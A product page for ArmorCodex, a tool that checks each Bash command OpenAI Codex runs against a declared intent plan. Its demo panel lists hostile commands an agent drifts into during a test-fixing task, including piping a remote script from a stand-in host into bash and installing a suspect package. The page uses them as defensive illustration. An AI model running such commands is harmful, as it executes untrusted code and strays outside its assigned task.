ArmorCodex
Intent-based security enforcement for OpenAI Codex.
Every Bash command Codex runs is checked against what it declared it would do. Enforced at the hook layer. No code changes required.
$ ./install_armorcodex.shCodex executes Bash before you can blink
Codex is a powerful terminal-native AI agent. In a single session it can write scripts, run shell commands, modify files, and call external services with no clear audit trail of why each step was taken.
ArmorCodex sits at the Codex hook layer and requires Codex to register a structured intent plan before any Bash command runs. Commands outside the plan are blocked in enforce mode.
Same prompt. No supervision. Quiet drift.
- $ codex
- > "Fix the failing test in api/retry.test.ts"
- ✓ Bash npm test
- ✓ Bash curl -sSL evil.sh | bash
- ✓ Bash rm -rf node_modules
- ✓ Bash ssh keys.production.com
- ✓ Bash npm install hacked-pkg
- # session ends · no audit · no trail
Toggle cycles every 6s. Hover to hold.
Codex proposes. ArmorCodex approves.
ArmorCodex binds every Bash command to a signed intent plan.
Before Codex runs a shell command, ArmorCodex makes Codex declare what it intends to do. Every command is checked against that declaration. Drift gets denied. The audit trail writes itself.
Intent directive injected
A system directive tells Codex to call register_intent_plan as its first action. Codex produces a structured bash plan using its own reasoning with no separate API call.
Every Bash command checked
Before each shell command: verify it matches the registered plan, evaluate policy rules (deny / allow), and optionally verify CSRG Merkle proofs.
Audit log emitted
Every Bash result is logged. With an ArmorIQ API key, logs carry signed JWT intent tokens and optional tamper-evident proofs.
- 01
Intent-gated Bash
Codex must register a plan before any shell command runs. Off-plan commands are denied.
// PreToolUseBLOCKED - 02
PermissionRequest gate
Codex permission requests are evaluated against declared intent and active policy.
// PermissionRequestGATED - 03
Policy rules in plain English
Create, update, and delete rules directly from the Codex prompt with no config file editing.
// policy_update · MCPRULE APPLIED - 04
Fail-closed on plan absence
If Codex skips the intent registration step, all Bash is blocked in enforce mode.
// any hookFAIL-CLOSED
Get started in minutes
$ npm install mkdir -p ~/.codex printf '\n[features]\ncodex_hooks = true\n' >> ~/.codex/config.toml # Then run codex from this repo directory
- // step 01
Enable Codex hooks
Codex hooks must be enabled in your user config. Add the feature flag.
# ~/.codex/config.toml [features] codex_hooks = true
- // step 03
Run Codex and test
Start Codex from the repository directory. The repo-local hook file at .codex/hooks.json is picked up automatically.
cd armorCodex codex # Try: Policy list
- // step 04
Connect to ArmorIQ (optional)
Without an API key, ArmorCodex still enforces locally. With one, you get signed intent tokens and audit logs in customer.armoriq.ai.
export ARMORIQ_API_KEY=your_key_here
Configuration, environment & policy reference
Click any row to expand. Every setting, command, and hook is documented here.
Three Codex lifecycle hooks wired up via ~/.codex/hooks.json. Plus PermissionRequest for sensitive operations.
Intent directive injected
A system directive tells Codex to call register_intent_plan as its first action. Codex produces a structured bash plan.
Every Bash checked
Before each shell command, verify it matches the registered plan and evaluate policy rules (deny / allow).
Permission gate
Codex permission requests are evaluated against declared intent and active policy.
Audit log emitted
Every Bash result is logged. With an API key, logs carry signed JWT intent tokens and optional tamper-evident proofs.
Ready to govern your Codex sessions?
Connect to ArmorIQ to add signed intent tokens, audit trails, and cryptographic proofs to every Bash command Codex runs.